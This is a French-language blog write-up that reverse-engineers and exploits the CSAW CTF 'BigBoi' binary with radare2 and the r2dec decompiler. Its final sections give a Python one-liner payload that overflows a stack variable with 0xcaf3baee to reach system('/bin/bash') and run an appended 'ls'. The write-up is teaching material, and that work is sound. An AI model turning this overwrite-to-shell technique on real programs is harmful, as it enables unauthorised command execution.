Pour reprendre la main avec radare2, je vais résoudre quelques challenges de RE.

Le challenge du jour est "BigBoi". Il provient du CSAW CTF. Le binaire que l'on va réverser est disponible ici.

Vous trouverez facilement d'autres writeups de ce challenge en remontant l'arborescence du repo GIT.

Init

Puisque que pour le moment, la génération de pseudo-code à partir de l'assembleur est encore perfectible dans la version officiel de R2, je vais utiliser un plugin: r2dec.

Il existe plusieurs plugins pour produire du pseudo-code (radeco, r2snowman) mais le plus simple à installer et à utiliser est, à mon avis, r2dec.

Avant d'utiliser R2

Avant d'utiliser R2 j'aime bien savoir où je mets les pieds.
Faisons quelques vérifications:

|_$ rabin2 -I boi 

arch     x86
baddr    0x400000
binsz    6808
bintype  elf
bits     64
canary   true
class    ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.10) 5.4.0 20160609
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true
La plupart des sécurités sont désactivées. Le binaire n'est pas stripped et il est liée dynamiquement
file boi 

boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1537584f3b2381e1b575a67cba5fbb87878f9711, not stripped
Il est bon de ne pas oublier les outils traditionnels
rabin2 -zz boi

puts
__stack_chk_fail
read
system
__libc_start_main
Are you a big boiiiii??
/bin/bash
/bin/date
J'ai fais le tri dans ce que nous propose cette commande, histoire d'y voir plus clair

On remarque la présence d'un read, surement une entrée utilisateur à fournir, ainsi que d'un check supposé de la stack (__stack_chk_fail), qui doit servir pour vérifier le canary, et pour finir on à deux potentiel appels au programme date et bashvia le syscall system.

A ce stade, il n'est pas déconnant de supposer que le binaire attend une entrée utilisateur, qu'il compare à une certaine valeur (encore inconnue) et suivant la réponse il exécute soit /bin/date soit /bin/bash. Vérifions ça.

Pile ce que j'avais prophétisé !

Analyse statique

On a fait le tour du propriétaire, passons à l'analyse du code.

La fameuse triforce de R2 (r2, aaa, afl)

Avec une taille aussi petite, c'était prévisible, le nombre de fonction intéressantes respecte le minimum syndical.

Analysons le contenu de notre main.

Comme on est là pour tester r2decil temps de s'en servir:

Le résultat est assez clair et pratique.

Le but du challenge est assez simple:

  1. La variable var_1ch est initialisée avec la valeur 0xdeadbeef. Elle est en mémoire à l'adresse rbp - 0x1c.
  2. L'entrée utilisateur est stockée à [rbp - 0x30].
  3. Une comparaison est faite entre la valeur contenu à[rbp - 0x30] et 0xcaf3baee. Mais la valeur contenu à [rbp - 0x30]est 0xdeadbeef et non 0xcaf3baee.
  4. Il n'y aucun vérification à priori de la mémoire. De plus on remarque que la fonction read() lit 0x18 octets soit 24 octets. Elle permet donc d'écraser le contenu de rbp - 0x1c

Si on se représente la stack en mémoire on a:

Pour résumer, il y a 0x14 octets qui séparent le début de notre buffer de l'endroit où est stocké la variable oxdeadbeef.
Le programme utilise read() pour remplir le buffer. Bien que read soit sécurisé en précisant le nombre d'octets maximal que l'on peut récupérer, ce nombre dépasse la taille du buffer et va nous permettre de récrire la valeur de la variable 0xdeadbeef.

Donc notre input doit ressembler à ca: 0x14 octets + 0xcaf3baee.

Vérifions ça avec le débugger de R2.

Analyse dynamique

r2 -Ad ./boi		# R2 in Debug mode
db 0X0040067e		# BK just after init of var_1ch
db 0X004006a5		# Setup breakpoint before call to read()
dcu main			# Debug Continue Until main

A partir de là, ce qui va nous intéresser c'est le contenu de la stack. Pour garder un œil dessus on va utiliser la vue 'debug' de R2, pour l'ouvrir il suffit de taper la commande V!.

Si tout ce passe bien on obtient ce genre d'écran

Petit rappel:

  1. La touche F2 => Active/desactive un breakpoint;
  2. La touche F7 => Simple pas;
  3. La touche F8 => Passer la fonction;
  4. La touche F9 => Continuer;
  5. La touche '.' => Entrer une cmd pour R2.

On va aller jusqu'au premier breakpoint et reprendre la main sur l'exécution en tapant la commande dc. Normalement le code attends une entrée utilisateur. On va rentrer 19 'A' pour vérifier que l'on ne s'est pas trompé dans les calculs tout à l'heure. Ensuite on appui 2 fois sur 'entrer' pour revenir à la vue de débug.

Comme on peut le voir dans la vue "stack", on retrouve bien notre entrée utilisateur suivit du retour à la ligne. 

Donc nos calculs sont bons. il ne reste plus qu'a exploiter ce programme.

Exploiter le programme

Pour pouvoir spécifier une entrée STDIN à R2, il va falloir écrire un petit profile.

#!/usr/bin/rarun2
stdin=./pattern.txt
profile.rr2

C'est bête à dire mais il va falloir aussi écrire un fichier texte qui contient notre input.

AAAAAAAAAAAAAAAAAAAABBBB
pattern.txt

Notre pattern est composé de 20 'A' et de 4 'B'. Si nos calculs sont bon alors le contenue de RAX sera "BBBB".

On va mettre en place un breakpoint juste après le read et juste avant la comparaison, puis on rechargera le binaire.

db 0x004006a5

ood -r profile.rr2

dc

On appui une fois sur 'entrer' pour rafraichir l'affichage de la vue "débugger".

On avance jusqu'à la comparaison avec F8 et on affiche les registres.

Et bingo la comparaison s'effectue avec la partie utile de notre payload.
Il ne reste plus qu'a changer cette partie par 0xcaf3baee.

print 'A'*20 + '\xee\xba\xf3\xca'" > pattern.txt

Et rien... quechi... nada... wallou...

En fait l'explication est assez simple. Une fois que le programme exécute l'appel au bash il quitte en affichant le résultat de la commande. Dans notre cas la commande est équivalente à:

/bin/bash

Donc rien n'est affiché. Pour arranger ça il suffit de rajouter à notre payload la commande que l'on veut exécuter.

python -c "print 'A'*20 + '\xee\xba\xf3\xcals'" > pattern.txt
On va exécuter un petit ls

Et voilà ! On vient de faire exécuter un ls en détournant le binaire !

Voilà qui conclu cet article.

Erratum

J'ai découvert après coup (grâce au travail de @ZigzagSec) qu'il est possible de se passer de la nécessité de crée un profil et une fichier de pattern.

ood !python -c "print 'A'*20 +'\xee\xba\xf3\xcals'"

C'est une commande que je garde au chaud pour les prochains challenges.

Conclusion

Un challenge de reverse assez simple en somme. La difficulté réside principalement dans l'utilisation de ce nouvel outils (R2).

Social et Media

Comme toujours je suis disponible sur Twitter et cie, si vous avez des questions, des remarques, des suggestions etc. N’hésitez pas !

Twitter: @GhostAgs

Discord: hackraw